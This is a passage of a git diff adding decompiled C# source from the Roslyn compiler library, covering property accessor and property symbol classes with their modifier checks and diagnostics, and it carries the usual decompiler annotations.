_property.IsCompilationOutputWinMdObj()); + } + InterlockedOperations.Initialize(ref _lazyName, text); + } + return _lazyName; + } + } + + public sealed override bool IsImplicitlyDeclared + { + get + { + SyntaxKind syntaxKind = GetSyntax().Kind(); + if (syntaxKind - 8896 <= SyntaxKind.List || syntaxKind == SyntaxKind.ArrowExpressionClause || syntaxKind == SyntaxKind.InitAccessorDeclaration) + { + return false; + } + return true; + } + } + + internal sealed override bool GenerateDebugInfo => true; + + public sealed override bool AreLocalsZeroed + { + get + { + if (!_property.HasSkipLocalsInitAttribute) + { + return base.AreLocalsZeroed; + } + return false; + } + } + + public static SourcePropertyAccessorSymbol CreateAccessorSymbol(NamedTypeSymbol containingType, SourcePropertySymbol property, DeclarationModifiers propertyModifiers, AccessorDeclarationSyntax syntax, bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + MethodKind methodKind = (MethodKind)((syntax.Kind() == SyntaxKind.GetAccessorDeclaration) ? 11 : 12); + bool hasBlockBody = syntax.Body != null; + bool hasExpressionBody = syntax.ExpressionBody != null; + bool isNullableAnalysisEnabled = containingType.DeclaringCompilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)syntax); + Symbol.CheckForBlockAndExpressionBody(syntax.Body, syntax.ExpressionBody, syntax, diagnostics); + SyntaxToken keyword = syntax.Keyword; + return new SourcePropertyAccessorSymbol(containingType, property, propertyModifiers, ((SyntaxToken)(ref keyword)).GetLocation(), syntax, hasBlockBody, hasExpressionBody, SyntaxFacts.HasYieldOperations((SyntaxNode?)(object)syntax.Body), syntax.Modifiers, methodKind, syntax.Keyword.IsKind(SyntaxKind.InitKeyword), isAutoPropertyAccessor, isNullableAnalysisEnabled, diagnostics); + } + + public static SourcePropertyAccessorSymbol CreateAccessorSymbol(NamedTypeSymbol containingType, SourcePropertySymbol property, DeclarationModifiers propertyModifiers, ArrowExpressionClauseSyntax syntax, BindingDiagnosticBag diagnostics) + { + bool isNullableAnalysisEnabled = containingType.DeclaringCompilation.IsNullableAnalysisEnabledIn((SyntaxNode)(object)syntax); + return new SourcePropertyAccessorSymbol(containingType, property, propertyModifiers, syntax.Expression.GetLocation(), syntax, isNullableAnalysisEnabled, diagnostics); + } + + public static SourcePropertyAccessorSymbol CreateAccessorSymbol(bool isGetMethod, bool usesInit, NamedTypeSymbol containingType, SynthesizedRecordPropertySymbol property, DeclarationModifiers propertyModifiers, Location location, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + MethodKind methodKind = (MethodKind)(isGetMethod ? 11 : 12); + return new SourcePropertyAccessorSymbol(containingType, property, propertyModifiers, location, syntax, hasBlockBody: false, hasExpressionBody: false, isIterator: false, default(SyntaxTokenList), methodKind, usesInit, isAutoPropertyAccessor: true, isNullableAnalysisEnabled: false, diagnostics); + } + + public static SourcePropertyAccessorSymbol CreateAccessorSymbol(NamedTypeSymbol containingType, SynthesizedRecordEqualityContractProperty property, DeclarationModifiers propertyModifiers, Location location, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + return new SynthesizedRecordEqualityContractProperty.GetAccessorSymbol(containingType, property, propertyModifiers, location, syntax, diagnostics); + } + + private SourcePropertyAccessorSymbol(NamedTypeSymbol containingType, SourcePropertySymbol property, DeclarationModifiers propertyModifiers, Location location, ArrowExpressionClauseSyntax syntax, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(containingType, syntax.GetReference(), location, isIterator: false, MakeModifiersAndFlags(property, propertyModifiers, isNullableAnalysisEnabled)) + { + _property = property; + _isAutoPropertyAccessor = false; + CheckFeatureAvailabilityAndRuntimeSupport((SyntaxNode)(object)syntax, location, hasBody: true, diagnostics); + CheckModifiersForBody(location, diagnostics); + ModifierUtils.CheckAccessibility(DeclarationModifiers, this, property.IsExplicitInterfaceImplementation, diagnostics, location); + CheckModifiers(location, hasBody: true, isAutoPropertyOrExpressionBodied: true, diagnostics); + } + + private static (DeclarationModifiers, Flags) MakeModifiersAndFlags(SourcePropertySymbol property, DeclarationModifiers propertyModifiers, bool isNullableAnalysisEnabled) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + DeclarationModifiers accessorModifiers = GetAccessorModifiers(propertyModifiers); + Flags item = SourceMemberMethodSymbol.MakeFlags((MethodKind)11, property.RefKind, accessorModifiers, returnsVoid: false, returnsVoidIsSet: false, isExpressionBodied: true, isExtensionMethod: false, isNullableAnalysisEnabled, isVarArg: false, property.IsExplicitInterfaceImplementation); + return (accessorModifiers, item); + } + + protected SourcePropertyAccessorSymbol(NamedTypeSymbol containingType, SourcePropertySymbolBase property, DeclarationModifiers propertyModifiers, Location location, CSharpSyntaxNode syntax, bool hasBlockBody, bool hasExpressionBody, bool isIterator, SyntaxTokenList modifiers, MethodKind methodKind, bool usesInit, bool isAutoPropertyAccessor, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(containingType, syntax.GetReference(), location, isIterator, MakeModifiersAndFlags(containingType, property, propertyModifiers, location, hasBlockBody, hasExpressionBody, modifiers, methodKind, isNullableAnalysisEnabled, diagnostics, out var modifierErrors)) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + _property = property; + _isAutoPropertyAccessor = isAutoPropertyAccessor; + bool flag = hasBlockBody || hasExpressionBody; + _usesInit = usesInit; + if (_usesInit) + { + Binder.CheckFeatureAvailability((SyntaxNode)(object)syntax, MessageID.IDS_FeatureInitOnlySetters, diagnostics, location); + } + CheckFeatureAvailabilityAndRuntimeSupport((SyntaxNode)(object)syntax, location, flag || isAutoPropertyAccessor, diagnostics); + if (flag) + { + CheckModifiersForBody(location, diagnostics); + } + ModifierUtils.CheckAccessibility(DeclarationModifiers, this, property.IsExplicitInterfaceImplementation, diagnostics, location); + if (!modifierErrors) + { + CheckModifiers(location, flag, isAutoPropertyAccessor, diagnostics); + } + if (((SyntaxTokenList)(ref modifiers)).Count > 0) + { + MessageID.IDS_FeaturePropertyAccessorMods.CheckFeatureAvailability(diagnostics, ((SyntaxTokenList)(ref modifiers))[0]); + } + } + + private static (DeclarationModifiers, Flags) MakeModifiersAndFlags(NamedTypeSymbol containingType, SourcePropertySymbolBase property, DeclarationModifiers propertyModifiers, Location location, bool hasBlockBody, bool hasExpressionBody, SyntaxTokenList modifiers, MethodKind methodKind, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics, out bool modifierErrors) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + bool isExpressionBodied = !hasBlockBody && hasExpressionBody; + bool hasBody = hasBlockBody || hasExpressionBody; + bool isExplicitInterfaceImplementation = property.IsExplicitInterfaceImplementation; + DeclarationModifiers declarationModifiers = MakeModifiers(containingType, modifiers, isExplicitInterfaceImplementation, hasBody, location, diagnostics, out modifierErrors); + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers | ((uint)GetAccessorModifiers(propertyModifiers) & 0xFFFFFC0Fu)); + if ((declarationModifiers & DeclarationModifiers.Private) != DeclarationModifiers.None) + { + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFFDFFFFu); + } + Flags item = SourceMemberMethodSymbol.MakeFlags(methodKind, property.RefKind, declarationModifiers, returnsVoid: false, returnsVoidIsSet: false, isExpressionBodied, isExtensionMethod: false, isNullableAnalysisEnabled, isVarArg: false, isExplicitInterfaceImplementation); + return (declarationModifiers, item); + } + + private static DeclarationModifiers GetAccessorModifiers(DeclarationModifiers propertyModifiers) + { + return (DeclarationModifiers)((uint)propertyModifiers & 0xFFF7FBFFu); + } + + internal override ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + return TryGetBodyBinderFromSyntax(binderFactoryOpt, ignoreAccessibility); + } + + protected sealed override void MethodChecks(BindingDiagnosticBag diagnostics) + { + _lazyParameters = ComputeParameters(); + _lazyReturnType = ComputeReturnType(diagnostics); + _lazyRefCustomModifiers = ImmutableArray.Empty; + ImmutableArray explicitInterfaceImplementations = ExplicitInterfaceImplementations; + if (explicitInterfaceImplementations.Length > 0) + { + CustomModifierUtils.CopyMethodCustomModifiers(explicitInterfaceImplementations[0], this, out _lazyReturnType, out _lazyRefCustomModifiers, out _lazyParameters, alsoCopyParamsModifier: false); + } + else if (IsOverride) + { + MethodSymbol overriddenMethod = base.OverriddenMethod; + if ((object)overriddenMethod != null) + { + CustomModifierUtils.CopyMethodCustomModifiers(overriddenMethod, this, out _lazyReturnType, out _lazyRefCustomModifiers, out _lazyParameters, alsoCopyParamsModifier: true); + } + } + else if (!_lazyReturnType.IsVoidType()) + { + PropertySymbol property = _property; + TypeWithAnnotations typeWithAnnotations = property.TypeWithAnnotations; + _lazyReturnType = _lazyReturnType.WithTypeAndModifiers(CustomModifierUtils.CopyTypeCustomModifiers(typeWithAnnotations.Type, _lazyReturnType.Type, ContainingAssembly), typeWithAnnotations.CustomModifiers); + _lazyRefCustomModifiers = property.RefCustomModifiers; + } + } + + public sealed override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public sealed override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + private TypeWithAnnotations ComputeReturnType(BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)MethodKind == 11) + { + return _property.TypeWithAnnotations; + } + TypeWithAnnotations result = TypeWithAnnotations.Create(GetBinder().GetSpecialType((SpecialType)6, diagnostics, (SyntaxNode)(object)GetSyntax())); + if (IsInitOnly) + { + ImmutableArray customModifiers = ImmutableArray.Create(CSharpCustomModifier.CreateRequired(Binder.GetWellKnownType(DeclaringCompilation, (WellKnownType)304, diagnostics, _location))); + result = result.WithModifiers(customModifiers); + } + return result; + } + + private Binder GetBinder() + { + CSharpSyntaxNode syntax = GetSyntax(); + return DeclaringCompilation.GetBinderFactory(syntax.SyntaxTree).GetBinder((SyntaxNode)(object)syntax); + } + + private static DeclarationModifiers MakeModifiers(NamedTypeSymbol containingType, SyntaxTokenList modifiers, bool isExplicitInterfaceImplementation, bool hasBody, Location location, BindingDiagnosticBag diagnostics, out bool modifierErrors) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + DeclarationModifiers declarationModifiers = ((!isExplicitInterfaceImplementation) ? DeclarationModifiers.AccessibilityMask : DeclarationModifiers.None); + if (containingType.IsStructType()) + { + declarationModifiers |= DeclarationModifiers.ReadOnly; + } + DeclarationModifiers defaultInterfaceImplementationModifiers = DeclarationModifiers.None; + bool isInterface = containingType.IsInterface; + if (isInterface && !isExplicitInterfaceImplementation) + { + defaultInterfaceImplementationModifiers = DeclarationModifiers.AccessibilityMask; + } + DeclarationModifiers declarationModifiers2 = ModifierUtils.MakeAndCheckNonTypeMemberModifiers(isOrdinaryMethod: false, isInterface, modifiers, DeclarationModifiers.None, declarationModifiers, location, diagnostics, out modifierErrors); + ModifierUtils.ReportDefaultInterfaceImplementationModifiers(hasBody, declarationModifiers2, defaultInterfaceImplementationModifiers, location, diagnostics); + return declarationModifiers2; + } + + private void CheckModifiers(Location location, bool hasBody, bool isAutoPropertyOrExpressionBodied, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_01a7: Unknown result type (might be due to invalid IL or missing references) + //IL_01ae: Invalid comparison between Unknown and I4 + Accessibility localAccessibility = LocalAccessibility; + if (IsAbstract && !ContainingType.IsAbstract && ((int)ContainingType.TypeKind == 2 || (int)ContainingType.TypeKind == 12)) + { + diagnostics.Add(ErrorCode.ERR_AbstractInConcreteClass, location, this, ContainingType); + } + else if (IsVirtual && ContainingType.IsSealed && (int)ContainingType.TypeKind != 10) + { + diagnostics.Add(ErrorCode.ERR_NewVirtualInSealed, location, this, ContainingType); + } + else if (!hasBody && !IsExtern && !IsAbstract && !isAutoPropertyOrExpressionBodied) + { + diagnostics.Add(ErrorCode.ERR_ConcreteMissingBody, location, this); + } + else if (ContainingType.IsSealed && localAccessibility.HasProtected() && !IsOverride) + { + diagnostics.Add(AccessCheck.GetProtectedMemberInSealedTypeError(ContainingType), location, this); + } + else if (LocalDeclaredReadOnly && _property.HasReadOnlyModifier) + { + diagnostics.Add(ErrorCode.ERR_InvalidPropertyReadOnlyMods, location, _property); + } + else if (LocalDeclaredReadOnly && IsStatic) + { + diagnostics.Add(ErrorCode.ERR_StaticMemberCantBeReadOnly, location, this); + } + else if (LocalDeclaredReadOnly && IsInitOnly) + { + diagnostics.Add(ErrorCode.ERR_InitCannotBeReadonly, location, _property); + } + else if (LocalDeclaredReadOnly && _isAutoPropertyAccessor && (int)MethodKind == 12) + { + diagnostics.Add(ErrorCode.ERR_AutoSetterCantBeReadOnly, location, this); + } + else if (_usesInit && IsStatic) + { + diagnostics.Add(ErrorCode.ERR_BadInitAccessor, location); + } + } + + internal static string GetAccessorName(string propertyName, bool getNotSet, bool isWinMdOutput) + { + return (getNotSet ? "get_" : (isWinMdOutput ? "put_" : "set_")) + propertyName; + } + + internal CSharpSyntaxNode GetSyntax() + { + return (CSharpSyntaxNode)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + } + + internal sealed override OneOrMany> GetAttributeDeclarations() + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode syntax = GetSyntax(); + SyntaxKind syntaxKind = syntax.Kind(); + if (syntaxKind - 8896 <= SyntaxKind.List || syntaxKind == SyntaxKind.InitAccessorDeclaration) + { + return OneOrMany.Create>(((AccessorDeclarationSyntax)syntax).AttributeLists); + } + return base.GetAttributeDeclarations(); + } + + private ImmutableArray ComputeParameters() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + bool flag = (int)MethodKind == 11; + ImmutableArray parameters = _property.Parameters; + int num = parameters.Length + ((!flag) ? 1 : 0); + if (num == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + SourceParameterSymbol originalParam = (SourceParameterSymbol)enumerator.Current; + instance.Add((ParameterSymbol)new SourcePropertyClonedParameterSymbolForAccessors(originalParam, this)); + } + if (!flag) + { + instance.Add((ParameterSymbol)new SynthesizedAccessorValueParameterSymbol(this, _property.TypeWithAnnotations, instance.Count)); + } + return instance.ToImmutableAndFree(); + } + + internal sealed override void AddSynthesizedReturnTypeAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedReturnTypeAttributes(moduleBuilder, ref attributes); + FlowAnalysisAnnotations returnTypeFlowAnalysisAnnotations = ReturnTypeFlowAnalysisAnnotations; + if ((returnTypeFlowAnalysisAnnotations & FlowAnalysisAnnotations.MaybeNull) != FlowAnalysisAnnotations.None) + { + Symbol.AddSynthesizedAttribute(ref attributes, new SynthesizedAttributeData(_property.MaybeNullAttributeIfExists)); + } + if ((returnTypeFlowAnalysisAnnotations & FlowAnalysisAnnotations.NotNull) != FlowAnalysisAnnotations.None) + { + Symbol.AddSynthesizedAttribute(ref attributes, new SynthesizedAttributeData(_property.NotNullAttributeIfExists)); + } + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + if (_isAutoPropertyAccessor) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + if (!NotNullMembers.IsEmpty) + { + ImmutableArray.Enumerator enumerator = _property.MemberNotNullAttributeIfExists.GetEnumerator(); + while (enumerator.MoveNext()) + { + SourceAttributeData current = enumerator.Current; + Symbol.AddSynthesizedAttribute(ref attributes, new SynthesizedAttributeData(current)); + } + } + if (!NotNullWhenTrueMembers.IsEmpty || !NotNullWhenFalseMembers.IsEmpty) + { + ImmutableArray.Enumerator enumerator = _property.MemberNotNullWhenAttributeIfExists.GetEnumerator(); + while (enumerator.MoveNext()) + { + SourceAttributeData current2 = enumerator.Current; + Symbol.AddSynthesizedAttribute(ref attributes, new SynthesizedAttributeData(current2)); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertyClonedParameterSymbolForAccessors.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertyClonedParameterSymbolForAccessors.cs new file mode 100644 index 0000000..72963e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertyClonedParameterSymbolForAccessors.cs @@ -0,0 +1,24 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourcePropertyClonedParameterSymbolForAccessors : SourceClonedParameterSymbol +{ + internal override bool IsCallerFilePath => _originalParam.IsCallerFilePath; + + internal override bool IsCallerLineNumber => _originalParam.IsCallerLineNumber; + + internal override bool IsCallerMemberName => _originalParam.IsCallerMemberName; + + internal override int CallerArgumentExpressionParameterIndex => _originalParam.CallerArgumentExpressionParameterIndex; + + internal SourcePropertyClonedParameterSymbolForAccessors(SourceParameterSymbol originalParam, Symbol newOwner) + : base(originalParam, newOwner, originalParam.Ordinal, suppressOptional: false) + { + } + + internal override ParameterSymbol WithCustomModifiersAndParams(TypeSymbol newType, ImmutableArray newCustomModifiers, ImmutableArray newRefCustomModifiers, bool newIsParams) + { + return new SourcePropertyClonedParameterSymbolForAccessors(_originalParam.WithCustomModifiersAndParamsCore(newType, newCustomModifiers, newRefCustomModifiers, newIsParams), ContainingSymbol); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertySymbol.cs new file mode 100644 index 0000000..07b2c48 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertySymbol.cs @@ -0,0 +1,440 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourcePropertySymbol : SourcePropertySymbolBase +{ + protected override Location TypeLocation => ((SyntaxNode)GetTypeSyntax((SyntaxNode)(object)base.CSharpSyntaxNode)).Location; + + public override SyntaxList AttributeDeclarationSyntaxList => ((BasePropertyDeclarationSyntax)base.CSharpSyntaxNode).AttributeLists; + + public override IAttributeTargetSymbol AttributesOwner => this; + + internal static SourcePropertySymbol Create(SourceMemberContainerTypeSymbol containingType, Binder bodyBinder, PropertyDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = syntax.Identifier; + Location location = ((SyntaxToken)(ref identifier)).GetLocation(); + return Create(containingType, bodyBinder, syntax, ((SyntaxToken)(ref identifier)).ValueText, location, diagnostics); + } + + internal static SourcePropertySymbol Create(SourceMemberContainerTypeSymbol containingType, Binder bodyBinder, IndexerDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken thisKeyword = syntax.ThisKeyword; + Location location = ((SyntaxToken)(ref thisKeyword)).GetLocation(); + return Create(containingType, bodyBinder, syntax, "Item", location, diagnostics); + } + + private static SourcePropertySymbol Create(SourceMemberContainerTypeSymbol containingType, Binder binder, BasePropertyDeclarationSyntax syntax, string name, Location location, BindingDiagnosticBag diagnostics) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + GetAccessorDeclarations(syntax, diagnostics, out bool isAutoProperty, out bool hasAccessorList, out bool accessorsHaveImplementation, out bool isInitOnly, out CSharpSyntaxNode getSyntax, out CSharpSyntaxNode setSyntax); + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier = SourcePropertySymbolBase.GetExplicitInterfaceSpecifier((SyntaxNode)(object)syntax); + SyntaxTokenList modifierTokensSyntax = GetModifierTokensSyntax((SyntaxNode)(object)syntax); + bool isExplicitInterfaceImplementation = explicitInterfaceSpecifier != null; + bool modifierErrors; + DeclarationModifiers modifiers = MakeModifiers(containingType, modifierTokensSyntax, isExplicitInterfaceImplementation, syntax.Kind() == SyntaxKind.IndexerDeclaration, accessorsHaveImplementation, location, diagnostics, out modifierErrors); + bool flag = !hasAccessorList && GetArrowExpression((SyntaxNode)(object)syntax) != null; + binder = binder.WithUnsafeRegionIfNecessary(modifierTokensSyntax); + TypeSymbol explicitInterfaceTypeOpt; + string aliasQualifierOpt; + string memberNameAndInterfaceSymbol = ExplicitInterfaceHelpers.GetMemberNameAndInterfaceSymbol(binder, explicitInterfaceSpecifier, name, diagnostics, out explicitInterfaceTypeOpt, out aliasQualifierOpt); + return new SourcePropertySymbol(containingType, syntax, getSyntax != null || flag, setSyntax != null, isExplicitInterfaceImplementation, explicitInterfaceTypeOpt, aliasQualifierOpt, modifiers, isAutoProperty, flag, isInitOnly, memberNameAndInterfaceSymbol, location, diagnostics); + } + + private SourcePropertySymbol(SourceMemberContainerTypeSymbol containingType, BasePropertyDeclarationSyntax syntax, bool hasGetAccessor, bool hasSetAccessor, bool isExplicitInterfaceImplementation, TypeSymbol? explicitInterfaceType, string? aliasQualifierOpt, DeclarationModifiers modifiers, bool isAutoProperty, bool isExpressionBodied, bool isInitOnly, string memberName, Location location, BindingDiagnosticBag diagnostics) + : base(containingType, syntax, hasGetAccessor, hasSetAccessor, isExplicitInterfaceImplementation, explicitInterfaceType, aliasQualifierOpt, modifiers, HasInitializer((SyntaxNode)(object)syntax), isAutoProperty, isExpressionBodied, isInitOnly, syntax.Type.SkipScoped(out var _).GetRefKindInLocalOrReturn(diagnostics), memberName, syntax.AttributeLists, location, diagnostics) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + if (base.IsAutoProperty) + { + Binder.CheckFeatureAvailability((SyntaxNode)(object)syntax, (hasGetAccessor && !hasSetAccessor) ? MessageID.IDS_FeatureReadonlyAutoImplementedProperties : MessageID.IDS_FeatureAutoImplementedProperties, diagnostics, location); + } + Symbol.CheckForBlockAndExpressionBody(syntax.AccessorList, syntax.GetExpressionBodySyntax(), syntax, diagnostics); + if (syntax is PropertyDeclarationSyntax propertyDeclarationSyntax) + { + EqualsValueClauseSyntax initializer = propertyDeclarationSyntax.Initializer; + if (initializer != null) + { + MessageID.IDS_FeatureAutoPropertyInitializer.CheckFeatureAvailability(diagnostics, initializer.EqualsToken); + } + } + } + + private TypeSyntax GetTypeSyntax(SyntaxNode syntax) + { + return ((BasePropertyDeclarationSyntax)(object)syntax).Type; + } + + private static SyntaxTokenList GetModifierTokensSyntax(SyntaxNode syntax) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ((BasePropertyDeclarationSyntax)(object)syntax).Modifiers; + } + + private static ArrowExpressionClauseSyntax? GetArrowExpression(SyntaxNode syntax) + { + if (!(syntax is PropertyDeclarationSyntax propertyDeclarationSyntax)) + { + if (syntax is IndexerDeclarationSyntax indexerDeclarationSyntax) + { + return indexerDeclarationSyntax.ExpressionBody; + } + throw ExceptionUtilities.UnexpectedValue((object)syntax.Kind()); + } + return propertyDeclarationSyntax.ExpressionBody; + } + + private static bool HasInitializer(SyntaxNode syntax) + { + if (syntax is PropertyDeclarationSyntax propertyDeclarationSyntax) + { + return propertyDeclarationSyntax.Initializer != null; + } + return false; + } + + private static void GetAccessorDeclarations(CSharpSyntaxNode syntaxNode, BindingDiagnosticBag diagnostics, out bool isAutoProperty, out bool hasAccessorList, out bool accessorsHaveImplementation, out bool isInitOnly, out CSharpSyntaxNode? getSyntax, out CSharpSyntaxNode? setSyntax) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + BasePropertyDeclarationSyntax basePropertyDeclarationSyntax = (BasePropertyDeclarationSyntax)syntaxNode; + isAutoProperty = true; + hasAccessorList = basePropertyDeclarationSyntax.AccessorList != null; + getSyntax = null; + setSyntax = null; + isInitOnly = false; + if (hasAccessorList) + { + accessorsHaveImplementation = false; + Enumerator enumerator = basePropertyDeclarationSyntax.AccessorList.Accessors.GetEnumerator(); + while (enumerator.MoveNext()) + { + AccessorDeclarationSyntax current = enumerator.Current; + SyntaxToken keyword; + switch (current.Kind()) + { + case SyntaxKind.GetAccessorDeclaration: + if (getSyntax == null) + { + getSyntax = current; + break; + } + keyword = current.Keyword; + diagnostics.Add(ErrorCode.ERR_DuplicateAccessor, ((SyntaxToken)(ref keyword)).GetLocation()); + break; + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + if (setSyntax == null) + { + setSyntax = current; + if (current.Keyword.IsKind(SyntaxKind.InitKeyword)) + { + isInitOnly = true; + } + } + else + { + keyword = current.Keyword; + diagnostics.Add(ErrorCode.ERR_DuplicateAccessor, ((SyntaxToken)(ref keyword)).GetLocation()); + } + break; + case SyntaxKind.AddAccessorDeclaration: + case SyntaxKind.RemoveAccessorDeclaration: + keyword = current.Keyword; + diagnostics.Add(ErrorCode.ERR_GetOrSetExpected, ((SyntaxToken)(ref keyword)).GetLocation()); + continue; + default: + throw ExceptionUtilities.UnexpectedValue((object)current.Kind()); + case SyntaxKind.UnknownAccessorDeclaration: + continue; + } + if (current.Body != null || current.ExpressionBody != null) + { + isAutoProperty = false; + accessorsHaveImplementation = true; + } + } + } + else + { + isAutoProperty = false; + accessorsHaveImplementation = GetArrowExpression((SyntaxNode)(object)basePropertyDeclarationSyntax) != null; + } + } + + private static AccessorDeclarationSyntax GetGetAccessorDeclaration(BasePropertyDeclarationSyntax syntax) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = syntax.AccessorList.Accessors.GetEnumerator(); + while (enumerator.MoveNext()) + { + AccessorDeclarationSyntax current = enumerator.Current; + if (current.Kind() == SyntaxKind.GetAccessorDeclaration) + { + return current; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourcePropertySymbol.cs", 249); + } + + private static AccessorDeclarationSyntax GetSetAccessorDeclaration(BasePropertyDeclarationSyntax syntax) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = syntax.AccessorList.Accessors.GetEnumerator(); + while (enumerator.MoveNext()) + { + AccessorDeclarationSyntax current = enumerator.Current; + SyntaxKind syntaxKind = current.Kind(); + if (syntaxKind == SyntaxKind.SetAccessorDeclaration || syntaxKind == SyntaxKind.InitAccessorDeclaration) + { + return current; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourcePropertySymbol.cs", 264); + } + + private static DeclarationModifiers MakeModifiers(NamedTypeSymbol containingType, SyntaxTokenList 